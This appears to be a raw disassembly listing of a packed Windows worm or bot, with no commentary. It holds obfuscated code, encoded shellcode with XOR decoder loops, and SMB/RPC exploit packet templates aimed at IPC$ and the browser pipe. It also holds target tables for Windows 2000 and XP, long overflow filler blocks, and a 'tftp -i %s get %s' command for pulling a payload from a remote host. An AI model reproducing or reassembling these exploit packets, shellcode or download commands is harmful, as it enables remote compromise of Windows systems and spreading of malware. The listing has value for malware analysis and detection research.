		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_43386B:				; CODE XREF: .packed:00433831j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_4338CA+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_433890:				; CODE XREF: .packed:004338BDj
		xor	[esi-25h], bl


loc_433893:				; CODE XREF: .packed:00433839j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


loc_4338AC:				; CODE XREF: .packed:004338DFj
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_433890
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_4338CA:				; CODE XREF: .packed:00433871j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_433956
		jo	short loc_4338AC
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_4338ED+1
		add	bl, [edi]


loc_4338ED:				; CODE XREF: .packed:004338E9j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_433902+2
		cmp	ch, bh
		dec	edx


loc_433902:				; CODE XREF: .packed:004338FDj
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_433956:				; CODE XREF: .packed:004338DDj
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_4339DC
		sub	al, 0BCh
		jmp	near ptr 54453D4Ah
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_433978	dd 0EFFFC481h, 44FFFFh,	4339C4hdword_433984	dd 42Ah		dword_433988	dd 3E8h		dword_43398C	dd 258h		byte_433990	db 0			; DATA XREF: sub_40D86F+1EFr
					; sub_40D86F+2CFr
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_4339A8	dd 20804h						; sub_40D86F+2E8o ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: .packed:00433994o
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------


loc_4339DC:				; CODE XREF: .packed:00433960j
		push	eax
		xor	al, 29h


loc_4339DF:				; DATA XREF: sub_40D86F+211o
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 8
dword_4339E8	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0dword_4339FC	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: sub_40D86F+78o
					; sub_40E453+1A4o
		align 4
aSIpc		db '\\%s\ipc$',0        ; DATA XREF: sub_40D86F+2Fo
					; sub_40E453+150o
		align 10h
aB:					; DATA XREF: sub_40DE14+ADo
		unicode	0, <>
		dw 4400h
aCkfdenecfdef_0	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacaca_0	db ' CACACACACACACACACACACACACACACAAA',0
		align 10h
dword_433A80	dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40DE14+CEo
		dd 8AC0000h, 0E5000000h, 2003100h, 4D4E414Ch, 2E314E41h
		dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
		dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 2	dup(0)
dword_433AE0	dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40DE14+E8o
		dd 8AC0000h, 0E5000000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h
		dd 0
		dd 0D05C00h, 60007180h,	2B06064Ch, 5050106h, 3042A002h
		dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah
		dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0
		db    0
		db 20h,	2 dup(0)
		db    0
		db 0Ch,	0, 0Ch
		db    0
		db 20h,	2 dup(0)
		db    0
aWorkstation1wi	db 'WORKSTATION1Windows 2000 2195',0
aWindows20005_0	db 'Windows 2000 5.0',0
		dd 2 dup(0)
dword_433B98	dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40DE14+102o
		dd 8AC0000h, 0E5000800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h
		dd 0
		dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h
		dd 534D4C54h, 3005053h,	18000000h, 40001800h, 18000000h
		dd 58001800h, 0
		dd 70000000h, 0
		dd 70000000h, 18000000h, 70001800h, 2 dup(0)
		dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
		db    0
		db 2 dup(0), 8Fh
; ---------------------------------------------------------------------------
		jno	short loc_433C96
		mov	ecx, 484962Fh
		retf	0EE65h
; ---------------------------------------------------------------------------
		dw 0DAFBh
		db 0CEh	; Î
		db 9Eh,	0AFh, 28h
		db  8Eh	; Ž
		db 0EEh, 7Ah, 54h
		db  69h	; i
		db 85h,	28h, 57h
		db    0
		db 4Fh,	0, 52h
		db    0
		db 4Bh,	0, 53h
		db    0
		dd offset loc_410053+1
		dd offset dword_490054
		dd offset byte_4E004F
		db 31h,	0, 57h
aIndows20002195	db 'indows 2000 2195',0
aWindows20005_1	db 'Windows 2000 5.0',0
		align 10h
dword_433C90	dd 3A000000h			db 0FFh, 53h
; ---------------------------------------------------------------------------


loc_433C96:				; CODE XREF: .packed:00433C3Cj
		dec	ebp
		inc	edx
		jnz	short $+2
; ---------------------------------------------------------------------------
		dw 0
		dd 20011800h, 3	dup(0)
		dd 8AC0000h, 0E5000800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
dword_433CD0	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40DE14+130o
		dd 8AC0800h, 0E5000800h, 0FF18h, 80000h, 16h, 0
		dd 2019Fh, 3 dup(0)
		dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h,	2 dup(0)
dword_433D38	dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40DE14+14Ao
		dd 8AC0800h, 0E5000800h, 48000010h, 0E0040000h,	0FFh, 2	dup(0)
		dd 48004A00h, 2004A00h,	2600h, 5C004F40h, 45504950h, 5005Ch
		dd 10030Bh, 480000h, 0
		dd 16D00000h, 16D0h, 10000h, 0
		dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h
		dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h,	26048h
		dd 0
dword_433DD0	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40DE14+164o
					; sub_40DE14+1DAo
		dd 8AC0800h, 0E5000800h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh
		dd 11800h, 3F011800h, 0
		dd 5011800h, 10010000h,	18000000h, 1, 0
		dd 1, 6B001F00h, 14C658Ch, 0
		dd 1000000h, 0
		dd 63366800h, 1, 63000000h, 4A000001h, 9F4340FCh, 9043F5F8h
		dd 489B404Fh, 0F54F4A42h, 98469337h, 6A4F4998h,	0EED95951h
		dd 0F42474D9h, 1373815Bh, 0AD136156h, 0E2FCEB83h, 0ECA5D7F4h
		dd 579EA942h, 5E8A3C51h, 0EC9EAF45h, 7FEA3652h,	56EA7289h
		dd 161DDD91h, 988E57D5h, 4CEA4EE2h, 5A8A578Dh, 12EA6226h
		dd 8AA16743h, 67A1D201h, 1EAB97AAh, 0E78A94ACh,	3B450296h
		dd 4CEAB3D8h, 758A5789h, 982A5A26h, 0F8604AF2h,	9AEA7AAEh
		dd 727D72C1h, 77BA676Eh, 98511526h, 63EA5AEDh, 53EAFBB1h
		dd 9D0908A5h, 438D58E3h, 40078052h, 21523ECBh, 211221C5h
		dd 0C39E02F2h, 0EF8C9DC5h, 0C59E0696h, 7584DFF2h, 1169BB2Ch
		dd 0EC633CF8h, 1AB83E7Dh, 0EC36FB58h, 4032057Bh, 402205FEh
		dd 0C39E05EEh, 0FCDF3ECBh, 0F2E805CBh, 0C53E38h, 0
dword_433F30	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40DE14+17Eo
					; sub_40DE14+1F4o
		dd 8AC0800h, 0E5000800h, 0FF0Eh, 18400000h, 0FF000001h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 9001F00h,	0EC3691DDh, 42713C7Bh, 7BB1A9F8h, 0FA4FFB09h
		dd 40B7A9FAh, 7BB1A9F8h, 5AE71F48h, 43B7A9FAh, 0EC3402F9h
		dd 0F409C57Dh, 441890D4h, 0EC348052h, 770B307Dh, 7E023ECBh
		dd 430BB324h, 9AAD7FF4h, 9A253C4Ah, 0E0A1674Fh,	3E23A807h
		dd 804D1453h, 0B8592C20h, 6109FD06h, 0EC77E553h, 0C59E12D8h
		dd 423301F6h, 120B07FCh, 423407FCh, 0BE098652h,	40AF5374h
		dd 0EC0B8052h, 0C39E6152h, 909D0126h, 0C59E3269h, 7BB1A9FFh
		dd 73819842h, 0ECB7A9FEh
aR18zt89rmiyrru	db '}R18zT89rMIyrrUxOD5Ldn90tdGUQ4xcbHSBmL1VZjHnU02M96tnEaW4RWvmqwAt8'
		db 'atPAlENccp4U21A45xy0anPR7ULgqNdyZCRr0ljcyOmnK7',0
		align 10h
dword_434090	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40DE14+198o
					; sub_40DE14+20Eo
		dd 8AC0800h, 0E5000800h, 0FF0Eh, 30400000h, 0FF000002h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 34001F00h, 31323231h, 416E5553h, 536C4D46h, 39646C65h
		dd 79656A43h, 71423371h, 72736837h, 5A4E4241h, 6F7A7255h
		dd 32423650h, 35727354h, 69577A65h, 71695269h, 5353656Ch
		dd 4C687364h, 4B633767h, 665A6836h, 7053536Ah, 6552385Ah
		dd 45786F58h, 615A547Ah, 716C4F55h, 32397643h, 55347731h
		dd 6752794Bh, 346B734Eh, 59737474h, 484B4C5Ah, 5A333335h
		dd 37304144h, 796F4E68h, 536E6337h, 0A644454h, 32000208h
		dd 46377936h, 4534979h,	6F000208h, 6A695059h, 584A5559h
		dd 52496165h, 49475966h, 63483643h, 6C7A3476h, 3859636Ah
		dd 44B4B50h, 49000208h,	6E5A5671h, 46C554Fh, 77000208h
		dd 634D6F6Bh, 39716F79h, 61716D4Eh, 674A696Ah, 65526C36h
		dd 49637A79h, 58526F70h, 793833h, 0AE576800h, 1000000h
		dd 0
		dd 1000000h, 0
		dd 0AD91A700h, 2 dup(0)
dword_4341F0	dd 66000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40DE14+1AFo
					; sub_40DE14+225o
		dd 8AC0800h, 0E5000800h, 1C000010h, 0E0040000h,	0FFh, 2	dup(0)
		dd 1C004A00h, 2004A00h,	2600h, 5C002340h, 45504950h, 5005Ch
		dd 100200h, 1C0000h, 0
		dd 40000h, 0
		dd 1Fh,	2 dup(0)
unk_434260	db  81h	; 		; DATA XREF: sub_40DE14+283o
		db 2 dup(0), 44h
aCkfdenecfdef_1	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacaca_1	db ' CACACACACACACACACACACACACACACAAA',0
		align 10h
dword_4342B0	dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40DE14+2A4o
		dd 2D80000h, 97230000h,	2003100h, 4D4E414Ch, 2E314E41h
		dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
		dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 2	dup(0)
dword_434310	dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40DE14+2BEo
		dd 2D80000h, 97230000h,	0FF0Ch,	2FFDF00h, 100h,	4E000000h
		dd 0
		dd 0D05C00h, 60007180h,	2B06064Ch, 5050106h, 3042A002h
		dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah
		dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0
		db    0
		db 20h,	2 dup(0)
		db    0
		db 0Ch,	0, 0Ch
		db    0
		db 20h,	2 dup(0)
		db    0
aWorkstation1_0	db 'WORKSTATION1Windows 2000 2195',0
aWindows20005_2	db 'Windows 2000 5.0',0
		dd 2 dup(0)
dword_4343C8	dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40DE14+2D8o
		dd 2D80000h, 97230800h,	0FF0Ch,	2FFDF00h, 100h,	94000000h
		dd 0
		dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h
		dd 534D4C54h, 3005053h,	18000000h, 40001800h, 18000000h
		dd 58001800h, 0
		dd 70000000h, 0
		dd 70000000h, 18000000h, 70001800h, 2 dup(0)
		dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
		db    0
		db 2 dup(0), 0A3h
		db  9Eh	; ž
		db 5Eh,	9Bh, 4
		db  57h	; W
		db 0E3h, 15h, 0B7h
		db  6Fh	; o
		db 44h,	0E9h, 1Eh
		db  49h	; I
		db 0FEh, 0C0h, 0BEh
		db 0E9h	; é
		db 0A6h, 0A7h, 7Fh
aPmiw		db 'pmiW',0
aO_0		db 'O',0
		dd offset word_4B0052
		db 53h
		db    0
		dd offset loc_410053+1
		dd offset dword_490054
		dd offset byte_4E004F
		db 31h,	0, 57h
aIndows200021_0	db 'indows 2000 2195',0
aWindows20005_3	db 'Windows 2000 5.0',0
		align 10h
dword_4344C0	dd 62000000h, 424D53FFh, 73h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40DE14+2EFo
		dd 2D80000h, 97230000h,	0FF0Dh,	2FFDF00h, 100h,	2 dup(0)
		db    0
		db 2 dup(0), 40h
		db    0
		db 2 dup(0), 25h
		db    0
		db 2 dup(0), 57h
aIndows200021_1	db 'indows 2000 2195',0
aWindows20005_4	db 'Windows 2000 5.0',0
		align 4
dword_434528	dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40DE14+306o
		dd 2D80000h, 97230801h,	0FF04h,	1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
dword_434568	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40DE14+31Do
		dd 2D80800h, 97230801h,	0FF18h,	80000h,	16h, 0
		dd 2019Fh, 3 dup(0)
		dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h,	2 dup(0)
dword_4345D0	dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40DE14+337o
		dd 2D80800h, 97230801h,	48000010h, 0E0040000h, 0FFh, 2 dup(0)
		dd 48004A00h, 2004A00h,	2600h, 5C004F40h, 45504950h, 5005Ch
		dd 10030Bh, 480000h, 0
		dd 16D00000h, 16D0h, 10000h, 0
		dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h
		dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h,	26048h
		dd 0
dword_434668	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40DE14+351o
					; sub_40DE14+3E0o
		dd 2D80800h, 97230801h,	0FF0Eh,	400000h, 0FF000000h, 8FFFFFFh
		dd 11800h, 3F011800h, 0
		dd 5011800h, 10010000h,	18000000h, 1, 0
		dd 1, 0F2001F00h, 1F2207Ch, 0
		dd 1000000h, 0
		dd 15514F00h, 2, 15000000h, 49000002h, 2742983Fh, 439BD697h
		dd 0FC37984Ah, 99F54B43h, 47994642h, 0FC379948h, 4AF59B42h
		dd 37374F90h, 37F5434Ah, 96963740h, 9B499B96h, 999B9F96h
		dd 37984848h, 49934347h, 4B4AFC4Eh, 48482790h, 99474A92h
		dd 90963727h, 40482791h, 0F8414627h, 0FC91984Fh, 3F4E47F8h
		dd 0D69097F9h, 974E4A27h, 46463F42h, 4F9896FDh,	274F9848h
		dd 4A4149D6h, 37914F46h, 9BFC4890h, 9B9B9096h, 433F9741h
		dd 4A3F46D6h, 9F4EF543h, 4F984327h, 4F904F41h, 4BFDF5F9h
		dd 9740F541h, 40414647h, 4343989Fh, 0FD4A4E4Fh,	4696FC4Fh
		dd 97474243h, 92374BFCh, 373F9F96h, 4F9841D6h, 9F4AF94Ah
		dd 9F99FC41h, 37372798h, 4899474Eh, 4E274B42h, 4A409237h
		dd 9827433Fh, 494E3F91h, 4B48484Fh, 37989Bh, 0
dword_4347C8	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40DE14+36Bo
					; sub_40DE14+3FAo
		dd 2D80800h, 97230801h,	0FF0Eh,	18400000h, 0FF000001h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 4B001F00h, 483F9F47h, 499F4941h, 4342273Fh, 9746999Bh
		dd 91279697h, 3F4E9FFDh, 37933743h, 909F4F47h, 9B374BF8h
		dd 2790994Fh, 40994E47h, 9BFC9292h, 4E9097FDh, 0F5F99047h
		dd 0FD404A9Fh, 489327D6h, 99934340h, 93FC274Ah,	49484B97h
		dd 4F4A4A99h, 43984B91h, 4E434B91h, 4242929Fh, 3F464399h
		dd 48404141h, 2740463Fh, 3F37484Ah, 27429291h, 404EF541h
		dd 27499B4Fh, 4F9F3F9Fh, 41FCF998h, 9041F840h, 374EF893h
		dd 92379143h, 4698D64Fh, 939F9843h, 9F96924Eh, 37F9974Ah
		dd 48939296h, 4E4E9F41h, 0F9D6474Ah, 40479B3Fh,	984137F8h
		dd 9BF9FD48h, 9BD69F96h, 989343FDh, 48FD4040h, 4F914F47h
		dd 99414A40h, 374E4B4Bh, 43929348h, 4B424137h, 4942FC41h
		dd 279792FCh, 484242FCh, 939B9B46h, 419B2791h, 4892484Ah
		dd 0D64E414Bh, 9BF542FCh, 4F439949h, 4392FC97h,	4191D6h
		dd 0
dword_434928	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40DE14+385o
					; sub_40DE14+414o
		dd 2D80800h, 97230801h,	0FF0Eh,	30400000h, 0FF000002h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 0FD001F00h, 424ED627h, 9897414Ah,	4B424240h, 0F5F9FD3Fh
		dd 3793403Fh, 49434091h, 404F9093h, 96474A99h, 373F92F9h
		dd 0F5D6F997h, 439F4643h, 0F5374BD6h, 4E914AD6h, 4990FD9Bh
		dd 47FC9649h, 964E4FFDh, 4F469990h, 4B43F546h, 989F97F9h
		dd 9F9992FCh, 9B424BD6h, 96404040h, 4190909Bh, 98969297h
		dd 494F4A96h, 4E434F37h, 0F993424Ah, 92939837h,	49434A3Fh
		dd 27414E92h, 40979BF8h, 47439290h, 9040964Eh, 42404F98h
		dd 0F5419040h, 96424747h, 0FD4A9F49h, 99D6F537h, 4E474F3Fh
		dd 9F90D627h, 43D69342h, 41969243h, 4BF9964Bh, 59516AF9h
		dd 74D9EED9h, 815BF424h, 0F3091373h, 0EB838E1Eh, 88F4E2FCh
		dd 0F661E137h, 63725A0Ch, 0F0665318h, 6971E10Ch, 2DAA7278h
		dd 82B25B78h, 8F61B8Fh,	11C1951Ch, 8AE4178h, 3D055718h
		dd 38601F78h, 8D228733h, 0C8896A33h, 0CB8F1339h, 0B5EA18h
		dd 0
dword_434A88	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40DE14+39Fo
					; sub_40DE14+42Eo
		dd 2D80800h, 97230801h,	0FF0Eh,	48400000h, 0FF000003h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 5D001F00h, 0ECFB36D7h, 8AA4178h, 5057818h, 15D195B8h
		dd 258DF5F2h, 2DE29778h, 384D7FEFh, 4A057A28h, 5CE95C3h
		dd 0A4926E78h, 57865E78h, 7C0909Bh, 0DF714E1Fh,	61E84D95h
		dd 7EE62CC0h, 5DD12C80h, 0C2E6CE0Ch, 59B5E21Eh,	80D1C80Ch
		dd 0E40F7816h, 63DB1CFBh, 615EE1F1h, 0A47B172Ah, 5A58E1A4h
		dd 5ADD4DA0h, 5ACD4DB0h, 61E8CE0Ch, 5AE8F14Dh, 611BFF7Ah
		dd 0CEFE0457h, 6358E1A4h, 0F6DB4FE3h, 0A42A7623h, 0F6D9F7DDh
		dd 0F6DB4D25h, 406B7623h, 0F6D95775h, 5DDA4E25h, 9A5EE1A6h
		dd 0CFF7F99Bh, 0DF71498Ah, 6F5EE1A6h, 61E87A99h, 0EC077390h
		dd 20D74E99h, 6369973Fh, 386C97B7h, 0F724ED33h,	4B7033B1h
		dd 73038DDFh, 0A225B5CBh, 0BA706C9Bh, 4DFBE1E5h, 5ED5C80Ch
		dd 58DF4FA1h, 58DF1F99h, 0D9714FA6h, 0C57B39Bh,	0DF714D3Dh
		dd 3E71E199h, 5E05CE0Ch, 6D4A9D0Fh, 0F6DCC80Ch,	617623h
		dd 0
dword_434BE8	dd 0CA000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40DE14+3B9o
					; sub_40DE14+448o
		dd 2D80800h, 97230801h,	80000010h, 0E0040000h, 0FFh, 2 dup(0)
		dd 80004A00h, 2004A00h,	2600h, 5C008740h, 45504950h, 5005Ch
		dd 100200h, 800000h, 0
		dd 680000h, 0
		dd 13C7001Fh, 25F6DD7Eh, 8045EE1h, 0Fh dup(8040002h), 2
		dd 0BE895Bh, 20000h, 0
		dd 20000h, 2EB0000h, 760000h, 2	dup(0)
dword_434CB8	dd 30B0005h, 10h, 48h, 0		dd 16D016D0h, 0
		dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
		dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_434D04	dd 3000005h, 10h, 830h,	0		dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0
		dd 1, 2	dup(0)
dword_434D34	dd 0FAh, 2, 0			dd 2, 0
		dd 0FAh, 3 dup(0)
dword_434D58	dd 0D959516Ah, 2474D9EEh		db 0F4h, 5Bh
; ---------------------------------------------------------------------------


loc_434D62:				; CODE XREF: .packed:00434D6Cj
		xor	dword ptr [ebx+13h], 889097A8h
		sub	ebx, 0FFFFFFFCh
		loop	loc_434D62
		sub	[ebx+6Fh], edx
		db	67h
		push	edi
		push	7CC274D4h
		frstor	byte ptr [eax+51h]
		push	1CC8776Fh
		cld
		lodsb
		mov	word ptr ds:95EB23B4h[edx*8], ds
; ---------------------------------------------------------------------------
		db 0F0h, 0A9h, 78h
		dd 1CB0C71Bh, 7CA9A8CFh, 1C9C03D9h, 57996691h, 572C2409h
		dd 5D698FE4h, 7C6A899Dh, 0B3FCB364h, 1C4DFDB8h,	7CA9ACCFh
		dd 0DCA403F6h, 96B4D71Bh, 1C848B7Bh, 8B8CE419h,	4C994BF1h
		dd 0A7EB03F4h, 1CA4C81Bh, 1C0594E0h, 0FFF680D0h, 7BA6C61Eh
		dd 0F17E77C0h, 0A4C0EEC3h, 0E4DFE0A2h, 68FCD7A2h, 7A63E040h
		dd 68F8B36Ch, 7221D746h, 9F4509F6h, 95C2DD92h, 4EC0586Fh
		dd 0C0057D99h, 0C4FB5E6Fh, 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h
		dd 1EFBEECCh, 33C01D71h, 0C06FF88Ah, 87C25E6Fh,	4757DDC1h
		dd 0B9052CF8h, 4157DF79h, 4757DDC3h, 11E16DF8h,	4157DFD9h
		dd 0C2FCDCC0h, 0FF3B586Fh, 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh
		dd 0F4C0EEF4h, 0FD4D01FDh, 5B81D1C0h, 0D3C26F19h, 57996A19h
		dd 0D5562263h, 0BBEA76BDh, 0AFD20503h, 0FF03233Bh, 811B76E2h
		dd 68ECFD6Fh, 0C5FFD346h, 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h
		dd 59AD513Dh, 0FD7E77C3h, 689F776Fh, 6BFF0340h,	68CC4C13h
		dd 4757DA46h, 776667F8h, 4157DBF0h, 586Fh
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E31A+96o
aBindingToRpcIn	db '[+] Binding to RPC interface ... ',0Ah,0 ; DATA XREF: sub_40E453+1D8o
		align 4
aFailedToConnec	db '[-] Failed to connect to host !',0Ah,0 ; DATA XREF: sub_40E453+18Eo
		align 10h
dword_434F10	dd 163h, 0	dword_434F18	dd 20804h, 0	dword_434F20	dd 2080Ah, 0	dword_434F28	dd 200F1001h, 0Ah, 1001802h, 0dword_434F38	dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
